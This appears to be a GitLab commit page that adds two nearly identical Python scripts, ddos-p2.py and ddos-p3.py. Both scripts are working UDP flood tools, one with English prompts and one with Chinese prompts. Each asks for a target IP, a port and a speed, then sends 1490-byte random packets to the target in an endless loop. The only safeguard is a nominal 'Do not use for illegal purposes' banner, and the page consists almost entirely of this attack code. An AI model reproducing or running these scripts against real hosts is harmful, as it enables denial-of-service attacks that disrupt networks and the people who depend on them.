Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
D
ddos
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
ddos
Commits
f70865ae
Unverified
Commit
f70865ae
authored
Jan 20, 2022
by
Andysun06
Committed by
GitHub
Jan 20, 2022
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Add files via upload
parent
a8bdd0bf
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
92 additions
and
0 deletions
+92
-0
ddos-p2.py
ddos-p2.py
+46
-0
ddos-p3.py
ddos-p3.py
+46
-0
No files found.
ddos-p2.py
0 → 100644
View file @
f70865ae
# python2
import
sys
import
os
import
time
import
socket
import
random
#Code Time
from
datetime
import
datetime
now
=
datetime
.
now
()
hour
=
now
.
hour
minute
=
now
.
minute
day
=
now
.
day
month
=
now
.
month
year
=
now
.
year
##############
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
bytes
=
random
.
_urandom
(
1490
)
#############
os
.
system
(
"clear"
)
os
.
system
(
"figlet DDos Attack"
)
print
" "
print
"/---------------------------------------------------
\
"
print
"| Author : Andysun06 |"
print
"| Author github : https://github.com/Andysun06 |"
print
"| Kali-QQ learning group : 909533854 |"
print
"| Edition : V1.0.0 |"
print
"
\
---------------------------------------------------/"
print
" "
print
" ---------[Do not use for illegal purposes]--------- "
print
" "
ip
=
raw_input
(
"Input IP : "
)
port
=
int
(
input
(
"Attack port : "
))
sd
=
int
(
input
(
"Attack speed(1~1000) : "
))
os
.
system
(
"clear"
)
sent
=
0
while
True
:
sock
.
sendto
(
bytes
,
(
ip
,
port
))
sent
=
sent
+
1
print
"Sent
%
s packet to
%
s throught port:
%
d"
%
(
sent
,
ip
,
port
)
time
.
sleep
((
1000
-
sd
)
/
2000
)
ddos-p3.py
0 → 100644
View file @
f70865ae
# python3
import
sys
import
os
import
time
import
socket
import
random
#Code Time
from
datetime
import
datetime
now
=
datetime
.
now
()
hour
=
now
.
hour
minute
=
now
.
minute
day
=
now
.
day
month
=
now
.
month
year
=
now
.
year
##############
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
bytes
=
random
.
_urandom
(
1490
)
#############
os
.
system
(
"clear"
)
os
.
system
(
"figlet DDos Attack"
)
print
(
" "
)
print
(
"/---------------------------------------------------
\
"
)
print
(
"| 作者 : Andysun06 |"
)
print
(
"| 作者github : https://github.com/Andysun06 |"
)
print
(
"| kali-QQ学习群 : 909533854 |"
)
print
(
"| 版本 : V1.0.0 |"
)
print
(
"
\
---------------------------------------------------/"
)
print
(
" "
)
print
(
" -----------------[请勿用于违法用途]----------------- "
)
print
(
" "
)
ip
=
input
(
"请输入 IP : "
)
port
=
int
(
input
(
"攻击端口 : "
))
sd
=
int
(
input
(
"攻击速度(1~1000) : "
))
os
.
system
(
"clear"
)
sent
=
0
while
True
:
sock
.
sendto
(
bytes
,
(
ip
,
port
))
sent
=
sent
+
1
print
(
"已发送
%
s 个数据包到
%
s 端口
%
d"
%
(
sent
,
ip
,
port
))
time
.
sleep
((
1000
-
sd
)
/
2000
)
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment